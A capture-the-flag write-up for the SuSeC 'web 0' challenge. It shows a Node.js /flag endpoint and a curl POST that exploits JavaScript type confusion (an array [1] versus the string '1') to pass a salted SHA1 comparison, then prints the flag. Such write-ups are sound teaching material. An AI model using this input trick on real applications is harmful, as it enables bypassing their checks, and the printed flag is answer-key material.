

SuSeC Cyber Security Contest

Web : web 0

Description : Check out my cool new website!

Attachment : <http://66.172.11.208:1337/>

Solutions :

Opening the link and we find this code.

```
1 function sha1(s) {
2   return crypto.createHash("sha1")
3     .update(s)
4     .digest("hex");
5 }
6
7 app.post("/flag", (req, res) => {
8   const {first, second} = req.body;
9   const salt = "pepper";
10
11   if (!first || !second || first.length !== second.length) {
12     res.send("bad input");
13     return;
14   }
15
16   if (first !== second && sha1(salt + first) === sha1(salt + second)) {
17     res.send(flag); // have some flag
18     return;
19   }
20
21   res.send("access denied");
22 });
```

As we can see, to get the flag, we need to send a **JSON** post request to **“/flag”**, with in body **“{first, second}”**, first and second need to have the same **SHA1**, but they need to be two different value because of the **“first !== second”**. So if we send **“[1]”** as value for **“first”** and **“1”** as value for **“second”**, it will work, because they aren’t the same value, but they will have the same sha1.

Running the curl request bellow and we get the flag

```
kali@kali:~$ curl -H 'Content-Type: application/json' --request POST --data '{"first": [1], "second": "1"}' http://66.172.11.208:1337/flag
SUSEC{YOUR3_4B0UT_TO_H4CK_TIM3_RU_SURE}
```

Flag : SUSEC{YOUR3_4B0UT_TO_H4CK_TIM3_RU_SURE}